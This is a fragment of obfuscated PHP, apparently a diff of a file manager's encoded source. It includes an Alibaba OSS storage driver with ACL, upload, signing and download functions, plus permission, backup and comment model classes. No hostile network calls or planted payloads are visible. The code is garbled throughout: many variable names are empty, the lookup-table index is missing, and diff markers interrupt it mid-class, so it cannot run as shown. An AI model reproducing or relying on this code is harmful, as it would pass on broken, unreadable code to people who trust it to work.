$[$Ȝ[201]] = $[$Ȝ[85]] = 0; $[$Ȝ[202]] = $[$Ȝ[203]] = !0; if (empty($)) { $ϴ = rtrim($ϴ, $Ȝ[8]) . $Ȝ[8]; $ɦ = $this->objectMeta($ϴ); if (!$ɦ) { return $; } $ = array($Ȝ[201] => $ɦ[$Ȝ[502]][$Ȝ[1419]], $Ȝ[85] => strtotime($ɦ[$Ȝ[1412]])); } if (isset($[$Ȝ[85]])) { $[$Ȝ[85]] = $[$Ȝ[85]]; } if (isset($[$Ȝ[201]])) { $[$Ȝ[201]] = $[$Ȝ[201]]; } return $; } public function listPath($ɽ, $ = false) { $ɗ =& $_SERVER[]; $ = $this->fileList($ɽ, $ɗ[8], !0); foreach ($[$ɗ[82]] as $ݫ => $) { $[$ɗ[82]][$ݫ] = $this->folderInfo($, $, $); } foreach ($[$ɗ[83]] as $ݫ => $) { $[$ɗ[83]][$ݫ] = $this->fileInfo($[$ɗ[32]], $, $); } return $; } protected function infoChildren($, &$އ) { $ؿ´ =& $_SERVER[]; $ = $this->fileList($, $ؿ´[12], !0); $އ[$ؿ´[78]] += count($[$ؿ´[82]]); $އ[$ؿ´[77]] += count($[$ؿ´[83]]); foreach ($[$ؿ´[83]] as $Ѿ) { if (!$Ѿ || !$Ѿ[$ؿ´[76]]) { continue; } $އ[$ؿ´[76]] += $Ѿ[$ؿ´[76]]; } } public function has($ƚɦ, $ = false, $רƳ = true) { $݆ =& $_SERVER[]; $ƚɦ = trim($ƚɦ, $݆[8]); $ȟ֢ = empty($ƚɦ) && $ƚɦ !== $݆[198] ? $݆[12] : $ƚɦ . $݆[8]; $ = $݆[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ֱ = array($݆[1407] => $݆[8], $݆[1408] => $ȟ֢, $݆[1409] => $, $݆[1410] => $); try { $ = $this->client->listObjects($this->bucket, $ֱ); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $օ = $->getObjectList(); $ = $->getPrefixList(); if ($) { if (count($օ) > 1 || count($օ) == 1 && $օ[0]->getKey() != $ȟ֢) { $ += count($օ) - 1; } if (!empty($)) { $ += count($); } if ($ === $݆[12]) { break; } continue; } if ($רƳ) { if (!empty($օ)) { if (count($օ) > 1 || $օ[0]->getKey() != $ȟ֢) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $݆[12]) { break; } } if ($) { return array($݆[207] => $, $݆[208] => $); } return !1; } public function listAll($헠) { $ȘɁ =& $_SERVER[]; $ = $this->fileList($헠, $ȘɁ[12], !0); $ = array_to_keyvalue($[$ȘɁ[83]], $ȘɁ[32]); foreach ($[$ȘɁ[82]] as $) { if (is_string($)) { $[$] = array($ȘɁ[76] => 0); } } return $this->listAllFiles($헠, $); } public function canRead($) { $݄ =& $_SERVER[]; $ = $this->pathAcl($); return $ == $݄[1420] || $ == $݄[547] ? !0 : !1; } public function canWrite($تױ) { $ = $this->pathAcl($تױ); return $ == $_SERVER[][547] ? !0 : !1; } public function pathAcl($;) { $ݼ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $횄 = $this->client->getObjectAcl($this->bucket, $this->pathEncode($;)); } catch (OSS\Core\OssException $Ҕ) { return !1; } $ = $횄 == $ݼ[37] ? $this->bucketAcl : $횄; if ($ == $ݼ[1421]) { return $ݼ[1420]; } if ($ == $ݼ[1422]) { return $ݼ[547]; } return $; } private function chmodPath($Ί, $ؕ = '') { $ =& $_SERVER[]; $燫 = empty($ؕ) ? $[1422] : $ؕ; $砅 = array($[37], $[199], $[1421], $[1422]); if (!in_array($燫, $砅)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($Ί), $燫); } catch (OSS\Core\OssException $֮آ) { return !1; } return !0; } public function getContent($Ū) { return $this->fileSubstr($Ū, -1); } public function setContent($, $섒 = '') { $ =& $_SERVER[]; try { $ϧș = $this->trafficLimit($[1423]); $փ = $this->client->putObject($this->bucket, $this->pathEncode($), $섒, $ϧș); } catch (OSS\Core\OssException $) { return !1; } $ꄔ = array($[1413] => trim($փ[$[1424]], $[118]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $ꄔ); return isset($փ[$[1425]][$[1372]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $窥 = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $窥); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($༧, $, $ۢև = false, $ԙ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = trim($༧, $[8]); $ڠ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1413] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($༧))); $ڠ = $this->trafficLimit($[1423], $ڠ); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $ڠ); } catch (OSS\Core\OssException $܋) { return !1; } return $this->getPathOuter($༧); } public function getHost() { $ѓ =& $_SERVER[]; $Ϯ = explode($ѓ[184], parent::getHost()); return $Ϯ[0] . $ѓ[184] . $this->bucket . $ѓ[10] . $Ϯ[1]; } public function uploadFormData($Ō, $ = 3600) { $͡ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $恼 = $; $ = date($͡[1426], time() + $恼); $ = new DateTime($); $ܦ = $->format(DateTime::ISO8601); $ = strpos($ܦ, $͡[296]); $ܦ = substr($ܦ, 0, $) . $͡[1427]; $䈛 = 1048576000 * 5; $ը = $this->pathFather($Ō); $̜ = array($͡[1326] => $ܦ, $͡[1327] => array(array($͡[1428], 0, $䈛), array($͡[1330], $͡[1331], $ը))); $ŗ = base64_encode(json_encode($̜)); $֔ = base64_encode(hash_hmac($͡[232], $ŗ, $this->secret, !0)); $騍 = array($͡[1336] => $ŗ, $͡[1429] => $this->accessKey, $͡[1332] => $͡[1324], $͡[1430] => $֔, $͡[182] => $); $騍 = $this->trafficLimit($͡[1423], $騍); return $騍; } public function multiUploadFormData($ՙ, $֫ = 3600) { $ =& $_SERVER[]; if (!($Ŀ = $this->getHost())) { return !1; } $̢ = $this->trafficLimit($[1423]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ՙ), $̢); return array($[223] => $, $[182] => $Ŀ . $[8] . $this->pathEncode($ՙ), $[224] => gmdate($[1431]), $[94] => $ՙ); } public function multiUploadAuthData($Ⲑ, $ = array()) { $ =& $_SERVER[]; $Ǐ = isset($[$[224]]) ? $[$[224]] : gmdate($[1431]); $ = isset($[$[174]]) ? $[$[174]] : $[12]; $ = $Ⲑ; if (isset($[$[94]])) { $ = $[$[94]]; unset($[$[94]]); } if (isset($[$[225]])) { $[$[224]] = $Ǐ; return $this->listUploadParts($, $); } $ = array($[226], $[12], $[120], $Ǐ, "\170\x2d\157\x73\x73\55\x64\x61\x74\145\72{$Ǐ}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[227]) === 0) { $[0] = $[228]; if ($ڟ = $this->trafficLimit($[1423])) { $ = $[1432]; array_splice($, 5, 0, $ . $[4] . $ڟ[$]); } } if (isset($[$[229]]) && $[$[229]] == $[230]) { $[0] = $[230]; } if (!empty($[$[1433]])) { $ = array_merge(array($[4]), $[$[1433]]); sort($); $[4] = implode($[231], $); } $ = implode($[231], $); $ǣ = base64_encode(hash_hmac($[232], $, $this->secret, !0)); $ɭ = $[1397] . $this->accessKey . $[4] . $ǣ; if (strpos($, $[227]) === 0) { $ɭ = array($[234] => $ɭ, $[224] => $Ǐ); if ($ڟ) { $ɭ = array_merge($ɭ, $ڟ); } } return $ɭ; } public function listUploadParts($, $˭) { $ =& $_SERVER[]; $Ոӱ = parse_url_query($˭[$[174]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $Ոӱ[$[223]]); $ = $->getListPart(); $ = array(); foreach ($ as $) { $[] = array($[1417] => $->getPartNumber(), $[1418] => trim($->getETag(), $[118])); } unset($˭[$[225]], $˭[$[229]]); $ⓢ = $this->multiUploadAuthData($, $˭); if (empty($ⓢ)) { return !1; } return array($[234] => $ⓢ, $[224] => $˭[$[224]], $[236] => $); } public function download($, $) { if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[][109], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { return !1; } return $; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($ === !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\x2d{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $裶) { think_exception($裶->getMessage()); return !1; } } private function trafficLimit($۠ķ, $ڵ = array()) { $ =& $_SERVER[]; if ($۠ķ == $[1423] && $this->isUploadServer() || $۠ķ == $[109] && $this->isFileOutServer()) { return $ڵ; } $ɠ = floatval($GLOBALS[$[6]][$[89]][$[107]][$۠ķ]) * 1024 * 1024 * 8; if (!$ɠ) { return $ڵ; } $ɠ = $ɠ < 819200 ? 819200 : ($ɠ > 838860800 ? 838860800 : $ɠ); $ڵ[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ɠ); return $ڵ; } public function link($Ț, $ = array()) { $ؠ =& $_SERVER[]; if (!$this->exist($Ț) || $this->isFolder($Ț)) { return !1; } try { $ = $this->trafficLimit($ؠ[109], $); $వ = $this->client->signUrl($this->bucket, $this->pathEncode($Ț), 3600 * 12, $ؠ[230], $); return $this->getCdnLink($వ); } catch (OSS\Core\OssException $ݮ) { return !1; } } public function fileOut($я, $ = false, $ٰޘ = false, $ = '') { $Խñ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($я, $, $ٰޘ, $); } if (!$ٰޘ) { $ٰޘ = $this->pathThis($я); } $ٰޘ = rawurlencode($ٰޘ); $ = get_file_mime(get_path_ext($ٰޘ)); if ($ == $Խñ[217]) { return parent::fileOut($я, $, $ٰޘ, $); } $ = $ ? $Խñ[1434] : $Խñ[1435]; $ĕ = array(OSS\OssClient::OSS_SUB_RESOURCE => $Խñ[1436] . rawurlencode("{$}\73\146\x69\x6c\x65\x6e\x61\155\145\x3d{$ٰޘ}")); $ĕ[OSS\OssClient::OSS_SUB_RESOURCE] .= $Խñ[1437] . rawurlencode($); $ = $this->link($я, $ĕ); $this->fileOutLink($); } public function fileOutServer($̿, $ = false, $ = false, $ֶ = '') { parent::fileOut($̿, $, $, $ֶ); } public function fileOutImage($, $Жޠ = 250) { $Ʉ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1438] . $Жޠ); $ = $this->link($, $Ʉ); $this->fileOutLink($); } public function fileOutImageServer($띈, $ = 250) { parent::fileOutImage($띈, $); } public function fileOutLink($ԃ) { $ΰ =& $_SERVER[]; if (!$this->isCdnHost() && substr($ԃ, 0, 7) == $ΰ[1339]) { $ԃ = $ΰ[1340] . substr($ԃ, 7); } header($ΰ[161] . $ԃ); die; } public function hashMd5($뚕, $ = '') { $ =& $_SERVER[]; $ّ = $this->_objectMeta($뚕); if (!$ّ) { return $[12]; } if (!isset($ّ[$[1413]]) && !empty($)) { $ = $this->updateObjMeta($뚕, array($[1413] => $)); $ّ[$[1413]] = $ ? $ : $[12]; } return isset($ّ[$[1413]]) ? strtolower($ّ[$[1413]]) : $[12]; } public function size($勱) { $ = $this->objectMeta($勱); return $ ? $[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ߴ) { return $this->isFile($ߴ) || $this->isFolder($ߴ); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ԋ) { return $this->cacheMethod($_SERVER[][165], $ԋ); } protected function objectMeta($ݟȺī) { return $this->cacheMethod($_SERVER[][167], $ݟȺī); } protected function _objectMeta($) { $뚍 =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $ = !1; } if ($) { $[$뚍[76]] = intval($[$뚍[1411]]); } return $; } protected function _isFolder($Έ́) { $ݖ =& $_SERVER[]; if ($Έ́ == $ݖ[12] || $Έ́ == $ݖ[8]) { return !0; } $܌ = array($ݖ[1407] => $ݖ[8], $ݖ[1408] => rtrim($Έ́, $ݖ[8]) . $ݖ[8], $ݖ[1409] => 1, $ݖ[1410] => $ݖ[12]); $ݾ = $this->client->listObjects($this->bucket, $܌); if ($ݾ->getObjectList() || $ݾ->getPrefixList()) { return !0; } return !1; } } goto E͚; e: class UserTagSourceModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\x66\141\x76"; protected function cacheFunctionAlias($퉇) { $Ά =& $_SERVER[]; return array($Ά[1972] => array($Ά[2356] . USER_ID, $Ά[1973])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1661] => USER_ID, $[483] => array($[1976], 0)); $ = $[2357]; $ = $this->field($)->where($)->order($[1979])->select(); return $ ? $ : array(); } protected function addToTag($ϙ, $) { $ù =& $_SERVER[]; if (!Model($ù[2120])->listData($)) { return !1; } if (is_numeric($ϙ)) { $ = Model($ù[824])->pathInfo($ϙ); if (!$) { return !1; } } else { $ = IO::infoSimple($ϙ); if (!$) { return !1; } $ɿ = $[$ù[32]]; $ = $[$ù[33]]; if (isset($[$ù[410]])) { $ = $[$ù[410]] == $ù[88] ? $ù[75] : $ù[200]; } } $ = array($ù[1661] => USER_ID, $ù[483] => $, $ù[421] => $ϙ, $ù[422] => $ ? $ : $ù[416], $ù[420] => $ɿ ? $ɿ : $ù[12], $ù[1865] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($齶, $łª) { $ =& $_SERVER[]; if (!Model($[2120])->listData($łª)) { return !1; } if (is_array($齶)) { $齶 = array($[7], $齶); } $ܞ = array($[1661] => USER_ID, $[483] => $łª, $[421] => $齶); return $this->where($ܞ)->delete(); } protected function removeByTag($) { $е =& $_SERVER[]; if (!$) { return !1; } $ԛ = array($е[1661] => USER_ID, $е[483] => $); return $this->where($ԛ)->delete(); } protected function removeBySource($) { $¾ =& $_SERVER[]; if (is_array($)) { $ = array($¾[7], $); } $ٿ = array($¾[1661] => USER_ID, $¾[483] => array($¾[1016], 0), $¾[421] => $); return $this->where($ٿ)->delete(); } }
\ No newline at end of file
+ goto c; e: class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $Մ =& $_SERVER[ﻻ]; $ߝ˺ = array(array($Մ[429] => LNG($Մ[1868]), $Մ[1869] => $Մ[1870], $Մ[1871] => 1, $Մ[1872] => 1, $Մ[1873] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($Մ[429] => LNG($Մ[1874]), $Մ[1869] => $Մ[1875], $Մ[1871] => 2, $Մ[1872] => 1, $Մ[1873] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($Մ[429] => LNG($Մ[1876]), $Մ[1869] => $Մ[1877], $Մ[1871] => 3, $Մ[1872] => 1, $Մ[1873] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($Մ[429] => LNG($Մ[1878]), $Մ[1869] => $Մ[1879], $Մ[1871] => 4, $Մ[1872] => 1, $Մ[1873] => self::AUTH_SHOW | self::AUTH_VIEW), array($Մ[429] => LNG($Մ[1880]), $Մ[1869] => $Մ[1881], $Մ[1871] => 5, $Մ[1872] => 1, $Մ[1873] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($Մ[429] => LNG($Մ[1882]), $Մ[1869] => $Մ[1883], $Մ[1871] => 6, $Մ[1872] => 1, $Մ[1873] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($Մ[429] => LNG($Մ[1884]), $Մ[1869] => $Մ[1885], $Մ[1871] => 7, $Մ[1872] => 1, $Մ[1873] => 0)); return $ߝ˺; } public static function authCheck($٪, $) { $ށ =& $_SERVER[ﻻ]; $٪ = intval($٪); if ($GLOBALS[$ށ[503]] && $GLOBALS[$ށ[6]][$ށ[1886]]) { return !0; } if ($٪ <= 0) { return !1; } if (($٪ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($٪ & $); } public static function authCheckShow($Ӵ) { return self::authCheck($Ӵ, self::AUTH_SHOW); } public static function authCheckView($) { return self::authCheck($, self::AUTH_VIEW); } public static function authCheckDownload($ޞ) { return self::authCheck($ޞ, self::AUTH_DOWNLOAD); } public static function authCheckUpload($ƚ§ӊ) { return self::authCheck($ƚ§ӊ, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($ֶ) { return self::authCheck($ֶ, self::AUTH_REMOVE); } public static function authCheckShare($ٟ) { return self::authCheck($ٟ, self::AUTH_SHARE); } public static function authCheckComment($ڴ) { return self::authCheck($ڴ, self::AUTH_COMMENT); } public static function authCheckEvent($뼌) { return self::authCheck($뼌, self::AUTH_EVENT); } public static function authCheckRoot($ɷ) { return self::authCheck($ɷ, self::AUTH_ROOT); } public static function authCheckAction($, $) { $ť =& $_SERVER[ﻻ]; $ߒ = array($ť[1887] => self::AUTH_VIEW, $ť[1204] => self::AUTH_DOWNLOAD, $ť[107] => self::AUTH_UPLOAD, $ť[1837] => self::AUTH_EDIT, $ť[1836] => self::AUTH_REMOVE, $ť[1847] => self::AUTH_SHARE, $ť[354] => self::AUTH_COMMENT, $ť[1666] => self::AUTH_EVENT, $ť[1888] => self::AUTH_ROOT); if (!isset($ߒ[$])) { return; } $턩 = $ߒ[$]; $ = intval($); if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $턩); } public static function authDisable($, $) { if (intval($) <= 0) { return 0; } return intval($) & ~$; } public $optionType = "\123\171\x73\164\x65\155\56\163\x6f\165\x72\x63\145\x41\165\x74\x68\x4c\151\x73\164"; public $field = array("\156\141\x6d\145", "\141\x75\164\x68", "\x6c\141\x62\x65\x6c", "\x64\x69\x73\160\154\x61\x79", "\x73\171\163\x74\145\x6d", "\x73\157\x72\164"); public function initData() { $ڥ = $this->authDefault(); foreach ($ڥ as $) { $this->add($); } } public function findAuth($߃, $諞) { $Ҧ =& $_SERVER[ﻻ]; $ = parent::listData(); foreach ($ as $؏) { $ = intval($؏[$Ҧ[422]]); if ($ <= 0 || $؏[$Ҧ[1889]] == 0) { continue; } if (($ & $߃) != $߃) { continue; } if (($ & $諞) != 0) { continue; } return $؏[$Ҧ[399]]; } return !1; } public function findAuthReadOnly() { $ի = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ؕͱ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($ի, $ؕͱ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ū =& $_SERVER[ﻻ]; $ = parent::listData(); $ݸ = !1; foreach ($ as $ދ) { if ($ދ[$ū[422]] <= 0 || $ދ[$ū[1889]] == $ū[198]) { continue; } if (!$ݸ) { $ݸ = $ދ; continue; } if ($ݸ[$ū[422]] > $ދ[$ū[422]]) { $ݸ = $ދ; } } return $ݸ ? $ݸ[$ū[399]] : $ū[12]; } public function listData($ = false, $ = "\x73\157\162\x74", $ǎ = false) { return parent::listData($, $, $ǎ); } public function update($, $븩) { $銔 =& $_SERVER[ﻻ]; $ء = parent::listData($); $¨ = $this->findByName($븩[$銔[32]]); if (!$ء || $¨ && $¨[$銔[399]] != $ء[$銔[399]]) { return !1; } $this->filterAuth($븩[$銔[422]]); return parent::update($, $븩); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[ﻻ][1294]]) { return !1; } return parent::remove($); } public function add($܃ = array()) { $ =& $_SERVER[ﻻ]; if ($this->findByName($܃[$[32]])) { return !1; } $ = array($[32] => $[12], $[422] => 1, $[1890] => $[1877], $[1889] => 1, $[1294] => 0, $[1891] => 0); $܃ = array_merge($, $܃); $܃[$[1891]] = $this->getSort(); $this->filterAuth($܃[$[422]]); return parent::insert($܃); } private function getSort() { $ф =& $_SERVER[ﻻ]; $ת = parent::listData(); $ꡉ = array_to_keyvalue($ת, $ф[12], $ф[1891]); return empty($ꡉ) ? 0 : max($ꡉ) + 1; } private function filterAuth(&$ܝŇ) { if (!$ܝŇ) { return; } $ɲ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ɲ as $Ǩ) { if ($ܝŇ & $Ǩ) { $[] = $Ǩ; } } if (in_array(self::AUTH_ROOT, $)) { $ܝŇ = array_sum($ɲ); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $Ǩ) { if (isset($[$Ǩ])) { $ = array_merge($, $[$Ǩ]); } } $[] = self::AUTH_SHOW; $ܝŇ = array_sum(array_unique($)); } public function sort($, $ّ) { return parent::update($, $ّ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\163\164\x65\155\56\x62\x61\x63\153\x75\x70\114\151\x73\x74"; public $field = array("\151\157", "\156\141\155\145", "\x73\x74\x61\164\x75\163", "\x63\157\156\164\x65\x6e\x74", "\155\141\156\x75\141\x6c", "\162\x65\163\x75\x6c\x74", "\164\151\x6d\x65\x46\x72\x6f\x6d", "\x74\x69\x6d\145\x54\x6f"); public function config() { $Չ =& $_SERVER[ﻻ]; $ј = Model($Չ[783])->get($Չ[793]); $ј = json_decode($ј, !0); $ј = is_array($ј) ? $ј : array(); if (!isset($ј[$Չ[767]])) { $ј[$Չ[767]] = $Չ[88]; } unset($ј[$Չ[1648]]); Action($Չ[1892])->taskInit(); Model($Չ[1647])->cacheClear(); $Ɖ = $Չ[1893]; $ = Model($Չ[1894])->findByKey($Չ[1666], $Ɖ); if (!$) { $ = array(); } if (isset($[$Չ[180]])) { $[$Չ[180]] = json_decode($[$Չ[180]], !0); } if (isset($ј[$Չ[180]])) { $[$Չ[180]][$Չ[1651]] = $ј[$Չ[180]]; unset($ј[$Չ[180]]); } return array_merge($, $ј); } public function listData($Ӌ = false, $ք = "\155\x6f\144\151\146\x79\124\151\155\x65", $ާ = false) { return parent::listData($Ӌ, $ք, !0); } public function lastItem() { $ۨ = $this->listData(); return !empty($ۨ[0]) ? $ۨ[0] : null; } public function kill($ܝ) { $Ѣ =& $_SERVER[ﻻ]; $ؼ = $this->listData($ܝ); if (!$ؼ || empty($ؼ[$Ѣ[32]])) { return !0; } Task::kill($Ѣ[792]); Task::kill($Ѣ[813]); Task::kill($Ѣ[822]); $ = $ؼ[$Ѣ[32]]; $з = TEMP_FILES . $Ѣ[791] . $ . $Ѣ[8]; IO::remove($з, !1); return $this->remove($ܝ); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[ﻻ][399]]); $͞ = $this->backupPath($); IO::remove($͞, !1); return !0; } private function backupPath($) { $Ô =& $_SERVER[ﻻ]; $ŷ = $[$Ô[32]]; $ = Model($Ô[783])->get($Ô[784]); $ = substr(md5($Ô[785] . $ . $ŷ), 0, 8); return "\173\x69\157\x3a{$[$Ô[764]]}\x7d\x2f\x64\141\164\x61\x62\141\x73\x65\57\x62\x61\143\x6b\165\160\x2f" . $ŷ . $Ô[11] . $; } public function start() { $ۯ =& $_SERVER[ﻻ]; if ($GLOBALS[$ۯ[6]][$ۯ[89]][$ۯ[1895]] != $ۯ[88]) { return !0; } $¿ = $this->config(); if (!$¿ || $¿[$ۯ[1648]] != $ۯ[88]) { return !1; } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$ۯ[399]]); } } $ = new Backup(); $ɾ = $->db(); if ($ɾ) { $ɾ = $->dbFile(); if ($ɾ && $¿[$ۯ[767]] == $ۯ[198]) { $ɾ = $->file(); } } Backup::set(array($ۯ[762] => 1, $ۯ[774] => time())); return !0; } public function process() { $ʻ =& $_SERVER[ﻻ]; $ד = array($ʻ[770] => Task::get($ʻ[792]), $ʻ[775] => Task::get($ʻ[813]), $ʻ[200] => Task::get($ʻ[822])); $ˡ = !1; foreach ($ד as &$ο) { if ($ˡ) { $ο = !1; continue; } if ($ο) { $ߪ֡ = intval(_get($ο, $ʻ[1683], 0)); if (time() - $ߪ֡ > 7200) { Task::kill($ο[$ʻ[399]]); $ˡ = !0; $ο = !1; } } } return $ד; } public function restore() { $ش =& $_SERVER[ﻻ]; ActionCall($ش[1070], !0, 1); ActionCall($ش[1070], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\x6d\145\x6e\164"; protected $tableMeta = array("\x74\x61\x62\154\x65\x4e\141\x6d\x65" => "\143\157\x6d\x6d\x65\156\x74\x5f\155\145\164\141", "\x6d\145\164\x61\x46\151\x65\x6c\x64" => "\x63\157\155\x6d\145\x6e\164\x49\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[ﻻ]; if ($[$[1896]]) { $ = $this->where(array($[1897] => $[$[1896]]))->find(); if (!$ || $[$[420]] != $[$[420]] || $[$[505]] != $[$[505]]) { return !1; } $this->where(array($[1897] => $[$[1896]]))->setAdd($[1898], 1); } $[$[1899]] = 0; $[$[1898]] = 0; $[$[762]] = 1; return $this->add($); } public function commentCount($, $, $ = false) { $臐 =& $_SERVER[ﻻ]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $Ĵ = array($臐[505], $臐[1900] => $臐[500]); $Ϫ = array($臐[505] => array($臐[7], $), $臐[420] => $); if ($) { $Ϫ[$臐[1678]] = $; } $є = $this->field($Ĵ)->where($Ϫ)->group($臐[505])->select(); return array_to_keyvalue($є, $臐[505], $臐[500]); } public function starTarget($˞, $) { $ =& $_SERVER[ﻻ]; $ = $˞ + self::TYPE_STAR_OFFSET; $抓 = array($[1678] => USER_ID, $[420] => $, $[505] => $); $Ււ = $this->where($抓)->find(); if ($Ււ) { return $this->where(array($[399] => $Ււ[$[399]]))->delete(); } $㔩 = array($[1896] => 0, $[1678] => USER_ID, $[762] => 1, $[767] => $[12], $[420] => $, $[505] => $, $[1899] => 0, $[1898] => 0); return $this->add($㔩); } public function starTargetCount($Ĩ, $Ց) { $Э =& $_SERVER[ﻻ]; $͑ = $Ց + self::TYPE_STAR_OFFSET; $Þ = $this->commentCount($Ĩ, $͑); $մ = $this->commentCount($Ĩ, $͑, USER_ID); return array($Э[1901] => $Þ, $Э[1902] => $մ); } public function starTargetUserList($, $) { $ =& $_SERVER[ﻻ]; $ٓꓢ = $ + self::TYPE_STAR_OFFSET; $̀ = array($[505] => $, $[420] => $ٓꓢ); $ݛƷ = $this->where($̀)->count(); $˜ = array($[255] => $ݛƷ, $[1903] => array()); if (!$ݛƷ) { return $˜; } $ = $this->field($[1678])->where($̀)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1678]); $˜[$[1903]] = Model($[513])->userListInfo($); return $˜; } public function prasiseUserList($ג) { $ =& $_SERVER[ﻻ]; $ = array($[1904] => $ג); $Ͱ = $this->where($)->find(); $ = _get($Ͱ, $[1899], 0); $Ϣ = array($[255] => $, $[1903] => array()); if (!$) { return $Ϣ; } $؇ = Model($[1905])->field($[1678])->where($)->limit(500)->select(); $؇ = array_to_keyvalue($؇, $[12], $[1678]); $Ϣ[$[1903]] = Model($[513])->userListInfo($؇); return $Ϣ; } public function remove($ײ) { $Ǐ =& $_SERVER[ﻻ]; $ = array($Ǐ[1897] => $ײ); $ѐ = $this->where($)->find(); if ($ѐ[$Ǐ[1896]]) { $this->where(array($Ǐ[1897] => $ѐ[$Ǐ[1896]]))->setAdd($Ǐ[1898], -1); } return $this->where($)->delete(); } public function edit($ĵ۸, $) 